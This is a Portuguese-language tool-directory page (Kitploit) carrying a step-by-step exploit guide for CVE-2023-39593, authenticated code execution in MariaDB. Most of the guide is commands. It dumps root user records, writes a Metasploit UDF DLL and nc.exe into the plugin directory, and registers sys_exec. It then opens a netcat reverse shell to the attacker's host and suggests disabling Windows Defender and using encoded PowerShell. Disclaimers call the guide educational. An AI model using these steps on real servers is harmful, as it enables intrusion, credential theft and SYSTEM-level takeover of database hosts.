Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-39593 — Execução de código autenticada em banco de dados | Kitploit
Ferramentas/GitHubGitHub/ant1sec-ops/cve-2023-39593
Escalada de PrivilégiosExploraçãoPós-ExploraçãoTestes de PenetraçãoComando e ControleAprendizado e EducaçãoFerramenta de Acesso RemotoDesenvolvimento de PayloadsSegurança de Banco de Dados
GitHubant1sec-ops/cve-2023-39593

CVE-2023-39593

Execução de código autenticada em banco de dados

2há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

MariaDB 10.5 Execução de Código Autenticado - sys_exec

Este guia fornece instruções detalhadas para explorar uma vulnerabilidade de Função Definida pelo Utilizador (UDF) no MariaDB num servidor remoto. Estes passos incluem descarregar e executar código malicioso num sistema de base de dados vulnerável.

Aviso: Este documento é apenas para fins educacionais. A utilização não autorizada destas técnicas é ilegal e antiética.

Passos para Reproduzir o Ataque

1. Ligar ao Host Remoto MariaDB

Utilize o seguinte comando para se ligar ao servidor MySQL:

root@kitploit:~
mysql -h 192.168.214.129 -u root -pPassw0rd!

2. Verificar a Versão do MariaDB

Para determinar a versão do MySQL em execução, execute:

root@kitploit:~
select @@version;

3. Listar Todos os Utilizadores

Para ver o utilizador atualmente autenticado:

root@kitploit:~
select user();

4. Extrair Todas as Informações do Utilizador Root

Obter todos os detalhes relacionados com o utilizador root:

root@kitploit:~
select * from mysql.user where user='root';

5. Verificar Privilégios do Utilizador

Determinar que privilégios o utilizador atual possui:

root@kitploit:~
show grants;

6. Verificar a Arquitetura do Sistema

Determinar se a arquitetura do sistema é vulnerável a UDF:

root@kitploit:~
select @@version_compile_os, @@version_compile_machine;

7. Verificar o Diretório de Plugins

Identificar o diretório de plugins onde os ficheiros UDF podem ser carregados:

root@kitploit:~
select @@plugin_dir;

8. Copiar a DLL de 32 bits

Copiar a DLL de 32 bits do diretório de exploits do Metasploit:

root@kitploit:~
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll

9. Converter a DLL para Formato Base64

Codificar o ficheiro udf.dll em formato base64:

root@kitploit:~
cat udf.dll | base64 | tr -d '\n' > udf.base64

10. Transferir a DLL para o Servidor MySQL

Copiar o valor base64 de udf.base64 e transferi-lo para o servidor MySQL:

Abrir udf.base64 num editor de texto:

root@kitploit:~
leafpad udf.base64

No MariaDB, execute:

root@kitploit:~
select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';

Alternativamente, utilize o seguinte caminho se necessário:

root@kitploit:~
C:\Program Files\MariaDB 11.1\lib\plugin\

11. Carregar a Função UDF no MariaDB

Execute o seguinte comando no MariaDB para criar uma nova função:

root@kitploit:~
create function sys_exec returns int soname 'udf.dll';

Nota: Também pode usar sys_eval, sys_get, do_system ou sys_bineval. Certifique-se de usar int e não into.

12. Verificar a Instalação da UDF

Verificar se a função UDF foi instalada com sucesso:

root@kitploit:~
select * from mysql.func;

13. Preparar o Binário do Netcat

Copiar o executável do Netcat para o seu diretório local e codificá-lo em base64:

root@kitploit:~
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64

14. Transferir o Netcat para o Servidor MariaDB

Abrir nc.base64 num editor de texto:

root@kitploit:~
leafpad nc.base64

Depois, no MySQL:

root@kitploit:~
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';

Alternativamente, pode fazer o upload diretamente usando:

root@kitploit:~
mysql -u root -p -h 192.168.214.129 < nc.base64

15. Executar o Netcat para uma Reverse Shell

Ligar o listener do Netcat na porta 443:

root@kitploit:~
sudo nc -nlvp 443

Executar o Netcat no servidor remoto para uma reverse shell:

root@kitploit:~
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');

Nota: Este passo pode ser bloqueado pelo Windows Defender ou outro software antivírus. Considere usar comandos PowerShell codificados (powershellbase64) e certifique-se de que o Defender está desligado.

16. Executar Comandos PowerShell

Executar um comando PowerShell usando codificação base64:

root@kitploit:~
select sys_exec('powershellbase64');

NOTA: Pode obter privilégios de NT AUTHORITY SYSTEM em muitos casos.

Informações Adicionais

  • Drop Function: Para remover quaisquer funções UDF criadas:

    root@kitploit:~
    drop function sys_get;
    
  • Verificar Local Infile: Verificar se a escrita local está ativada:

    root@kitploit:~
    show variables like 'local_infile';
    
  • Encontrar Utilizadores com Privilégio Insert: Identificar quais utilizadores têm o privilégio insert:

    root@kitploit:~
    use mysql;
    select user from user where insert_priv='Y' and Host='%';
    

Aviso Legal: Este documento destina-se apenas a fins educacionais e investigação de segurança. A utilização indevida desta informação pode resultar em acusações criminais e penalidades legais severas. Obtenha sempre permissão das autoridades relevantes antes de testar quaisquer vulnerabilidades numa rede ou sistema.

Baixar ferramenta